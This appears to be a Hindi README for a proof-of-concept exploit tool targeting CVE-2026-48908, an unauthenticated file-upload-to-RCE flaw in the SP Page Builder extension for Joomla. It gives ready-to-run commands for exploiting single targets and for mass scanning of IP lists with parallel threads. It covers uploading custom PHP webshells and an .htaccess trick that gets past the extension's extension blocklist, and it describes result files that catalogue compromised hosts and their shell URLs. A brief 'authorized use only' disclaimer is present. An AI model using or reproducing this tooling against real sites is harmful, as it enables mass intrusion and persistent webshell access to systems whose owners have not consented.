
SP Page Builder (Joomla) के लिए CVE-2026-48908 का बिना प्रमाणीकरण वाला RCE PoC — मनमानी फ़ाइल अपलोड और रिमोट कोड निष्पादन एक्सप्लॉइट, जिसमें बड़े पैमाने पर स्कैनिंग का समर्थन है।
SP Page Builder (com_sppagebuilder) Joomla ≤ 6.6.1 के लिए बिना प्रमाणीकरण वाले हमलावरों को मनमानी फ़ाइलें अपलोड करने और रिमोट कोड निष्पादन प्राप्त करने की अनुमति देता है।
| फ़ील्ड | मान |
|---|---|
| CVE | CVE-2026-48908 |
| CWE | CWE-284 (अनुचित अभिगम नियंत्रण) |
| घटक | SP Page Builder (com_sppagebuilder) |
| प्रभावित संस्करण | 1.0.0 – 6.6.1 |
| समाधान संस्करण | 6.6.2 |
| विशेषाधिकार | कोई नहीं (प्रमाणीकरण-पूर्व) |
| उपयोगकर्ता सहभागिता | कोई नहीं |
body="com_sppagebuilder"
pip install -r requirements.txt
python3 exploit_poc.py https://target.example -c "id"
python3 exploit_poc.py --url target.example -c "uname -a"
python3 exploit_poc.py https://target.example --check # probe only, no command
python3 exploit_poc.py https://target.example --token abc123 # custom token
python3 exploit_poc.py --hosts ips.txt -c "id"
python3 exploit_poc.py --hosts ips.txt -c "id" -j 20 # 20 parallel threads
python3 exploit_poc.py --hosts ips.txt --no-verbose # quiet mode
python3 exploit_poc.py https://target.example --shell-file shell.php
python3 exploit_poc.py --hosts ips.txt --shell-file shell.php
नोट:
--shell-fileका उपयोग करते समय, स्क्रिप्ट केवल वेबशेल अपलोड करती है और URL की रिपोर्ट करती है। यह-cकमांड नहीं चलाती या कोई निष्पादन परीक्षण नहीं करती है। अपलोड किया गया शेल कमांड इनपुट को स्वतंत्र रूप से संभालने में सक्षम होना चाहिए।



स्कैन के बाद, तीन परिणाम फ़ाइलें सहेजी जाती हैं:
यह एक्सप्लॉइट com_sppagebuilder के asset.uploadCustomIcon कार्य का दुरुपयोग करता है:
/media/com_sppagebuilder/assets/iconfont/<name>/fonts/ में निकालता है।स्क्रिप्ट कई PHP एक्सटेंशन (.php, .PHP, .pHp, .Php, .pht, .phtml, आदि) तब तक आज़माती है जब तक उसे कोई ऐसा नहीं मिल जाता जो निष्पादित होता है।
जब SPPB का फ़िल्टर सीधे PHP एक्सटेंशन को ब्लॉक कर देता है, तो स्क्रिप्ट पेलोड के साथ एक .htaccess फ़ाइल रख देती है:
AddType application/x-httpd-php .PHP
यह वेब सर्वर को .PHP (अपरकेस) को PHP के रूप में व्यवहार करने के लिए बाध्य करता है — SPPB की केस-सेंसिटिव ब्लॉकलिस्ट को बायपास करते हुए। इसके लिए AllowOverride सक्षम होना और /media में PHP निष्पादन की अनुमति होना आवश्यक है।
नोट:
.htaccess+ अपरकेस.PHPबाईपास सभी कॉन्फ़िगरेशन पर काम नहीं कर सकता है। यदि यह विफल होता है, तो इसके बजाय.pngया.jpegएक्सटेंशन आज़माएँ। जिन सर्वरों परAllowOverrideअक्षम है या/mediaमें PHP निष्पादन अवरुद्ध है, वहाँ अपलोड किए गए शेल भी निष्पादित नहीं होंगे (इसे "write-only" के रूप में रिपोर्ट किया जाता है)।
यह PoC https://github.com/papageo75/CVE-2026-48908-PoC/ पर आधारित है, निम्नलिखित अतिरिक्त विशेषताओं के साथ:
कुछ सर्वर प्रतिक्रियाओं में वास्तविक JSON पेलोड से पहले गैर-JSON उपसर्ग (जैसे cron एक्सप्रेशन या अन्य कचरा) हो सकते हैं। मूल PoC ऐसी प्रतिक्रियाओं को पार्स करते समय r.json() पर क्रैश हो जाता था। यह संस्करण पहले { वर्ण की खोज करता है और JSON सबस्ट्रिंग को डिकोड करने का प्रयास करता है:
पहले:
try:
data = r.json()
except ValueError:
return None
बाद में:
try:
data = r.json()
except ValueError:
raw = r.text
idx = raw.find("{")
if idx == -1:
return None
try:
data, _ = json.JSONDecoder().raw_decode(raw[idx:])
except ValueError:
return None
उदाहरण — मान्य JSON प्रतिक्रिया:
{
"name": "icoctxojp",
"data": {
"id": 17,
"type": "iconfont",
"name": "icoctxojp",
"title": "Icoctxojp",
"assets": "["ico ico-x"]",
"css_path": "media/com_sppagebuilder/assets/iconfont/icoctxojp/style.css",
"created": "2026-06-24 07:26:18",
"created_by": 0,
"published": 1,
"access": 1,
"thumb": "https://[REDACTED]//components/com_sppagebuilder/assets/images/customIcons/default.jpg"
},
"status": true,
"output": "Uploaded"
}
उदाहरण — गैर-JSON प्रतिक्रिया (JSON से पहले उपसर्ग कचरा):
cron:self,tpl:amara_pro,cfg:ok{
"name": "icoxwetsw",
"data": {
"id": 163,
"type": "iconfont",
"name": "icoxwetsw",
"title": "Icoxwetsw",
"assets": "[\"ico ico-x\"]",
"css_path": "media\/com_sppagebuilder\/assets\/iconfont\/icoxwetsw\/style.css",
"created": "2026-06-24 03:42:57",
"created_by": 0,
"published": 1,
"access": 1,
"thumb": "https:\/\/[REDACTED]\/\/components\/com_sppagebuilder\/assets\/images\/customIcons\/default.jpg"
},
"status": true,
"output": "Uploaded"
}
मल्टी-थ्रेडेड सामूहिक स्कैनिंग क्षमता जोड़ी गई:
--hosts <file> — लक्ष्यों को एक फ़ाइल से लोड करें (प्रति पंक्ति एक)-j, --threads <n> — समानांतर थ्रेड संख्या सेट करें (डिफ़ॉल्ट: 10)--no-verbose — प्रति-होस्ट विस्तृत आउटपुट दबाएँ.txt फ़ाइलों में सहेजा जाता हैअंतर्निहित टोकन-सुरक्षित शेल के बजाय कस्टम PHP वेबशेल अपलोड करने के लिए --shell-file <path> विकल्प जोड़ा गया। इस विकल्प का उपयोग करते समय:
-c कमांड चलाए शेल अपलोड करती हैrun()) नहीं किया जाता हैcustom_shell_hosts.txt में सहेजे जाते हैंकेवल अधिकृत उपयोग। केवल स्वीकृत पेनेट्रेशन टेस्ट, CTF और लैब लक्ष्यों के लिए। इस उपकरण का उपयोग कैसे करते हैं, इसकी पूरी ज़िम्मेदारी आपकी है।
| फ़्लैग | विवरण |
|---|
url | लक्ष्य URL (पोज़िशनल या --url) |
--hosts <file> | वह फ़ाइल जिसमें प्रति पंक्ति एक होस्ट हो |
-c, --cmd <cmd> | निष्पादित करने के लिए कमांड (डिफ़ॉल्ट: id) |
--check | केवल जाँच करें, कोई कमांड न चलाएँ |
--token <token> | अपलोड किए गए शेल की सुरक्षा करने वाला गुप्त टोकन (डिफ़ॉल्ट: रैंडम) |
--shell-file <path> | अंतर्निहित वेबशेल के बजाय एक कस्टम PHP वेबशेल अपलोड करें |
-j, --threads <n> | सामूहिक स्कैन के लिए समानांतर थ्रेड (डिफ़ॉल्ट: 10) |
--no-verbose | प्रति-होस्ट विस्तृत आउटपुट दबाएँ |
| फ़ाइल | सामग्री |
|---|
vulnerable_hosts.txt | पुष्ट RCE + वेबशेल URL वाले होस्ट |
not_vulnerable_hosts.txt | वे होस्ट जो पैच किए गए हैं या अनुपस्थित हैं |
partial_vulnerable_hosts.txt | वे होस्ट जिनमें फ़ाइल-लेखन है लेकिन PHP निष्पादन नहीं है |
custom_shell_hosts.txt | अपलोड किए गए कस्टम शेल वाले होस्ट, बेस URL द्वारा समूहीकृत (केवल तब उत्पन्न होती है जब --shell-file का उपयोग किया जाता है) |
scan_results.json | सभी होस्टों के लिए पूर्ण JSON परिणाम |